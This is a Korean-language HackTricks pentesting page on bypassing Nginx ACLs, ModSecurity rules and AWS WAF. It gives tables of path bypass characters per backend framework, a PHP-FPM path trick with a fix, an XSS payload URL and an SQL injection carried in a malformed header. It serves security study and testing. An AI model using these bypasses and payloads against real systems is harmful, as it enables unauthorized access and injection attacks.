hacktricks/pentesting-web/proxy-waf-protections-bypass.md

7.1 KiB

프록시 / WAF 보호 우회

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로**부터 **히어로**로 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법:

{% embed url="https://websec.nl/" %}

경로 이름 조작을 통한 Nginx ACL 규칙 우회

이 연구에서 기술된 기법들.

Nginx 규칙 예시:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

NodeJS - Express

Nginx Version Node.js Bypass Characters
1.22.0 \xA0
1.21.6 \xA0
1.20.2 \xA0, \x09, \x0C
1.18.0 \xA0, \x09, \x0C
1.16.1 \xA0, \x09, \x0C

Flask

Nginx Version Flask Bypass Characters
1.22.0 \x85, \xA0
1.21.6 \x85, \xA0
1.20.2 \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.18.0 \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.16.1 \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Nginx Version Spring Boot Bypass Characters
1.22.0 ;
1.21.6 ;
1.20.2 \x09, ;
1.18.0 \x09, ;
1.16.1 \x09, ;

PHP-FPM

Nginx FPM configuration:

location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginx는 /admin.php에 대한 액세스를 차단하도록 구성되어 있지만, /admin.php/index.php에 액세스하여 이를 우회할 수 있습니다.

방지 방법

location ~* ^/admin {
deny all;
}

Mod Security 규칙 우회

경로 혼란

이 게시물에서는 ModSecurity v3 (3.0.12 버전까지)이 REQUEST_FILENAME 변수를 부적절하게 구현하여 액세스된 경로를 포함해야 했지만 (매개변수의 시작까지), 실제로는 경로를 얻기 위해 URL 디코딩을 수행했기 때문에 설명되었습니다.
따라서 Mod Security에서 http://example.com/foo%3f';alert(1);foo=와 같은 요청은 %3f가 URL 경로를 끝내는 ?로 변환되어 경로가 /foo일 것으로 가정하지만, 실제로 서버가 받게 될 경로는 /foo%3f';alert(1);foo=가 됩니다.

변수 REQUEST_BASENAMEPATH_INFO도 이 버그의 영향을 받았습니다.

Mod Security의 버전 2에서도 비슷한 일이 발생했는데, 백업 파일과 관련된 특정 확장자를 가진 파일에 액세스를 방지하는 보호 기능을 우회할 수 있었습니다 (예: .bak) 단순히 점을 URL 인코딩된 %2e로 보내는 것으로, 예를 들어: https://example.com/backup%2ebak.

AWS WAF ACL 우회

형식이 잘못된 헤더

이 연구는 AWS WAF 규칙을 우회할 수 있었던 것으로 언급했습니다. 이는 AWS가 제대로 구문 분석하지 못한 "형식이 잘못된" 헤더를 보내어 우회할 수 있었지만 백엔드 서버에서는 제대로 구문 분석되었습니다.

예를 들어, 다음 요청을 SQL 인젝션을 포함한 헤더 X-Query로 보내는 것:

GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

AWS WAF 우회가 가능했던 이유는 헤더 값의 다음 줄이 값의 일부라는 것을 이해하지 못했기 때문이었습니다. NODEJS 서버는 이를 이해했지만 (이는 수정되었습니다).

참고 자료

{% embed url="https://websec.nl/" %}

제로부터 AWS 해킹을 전문가로 학습하세요 htARTE (HackTricks AWS Red Team Expert)와 함께!

HackTricks를 지원하는 다른 방법: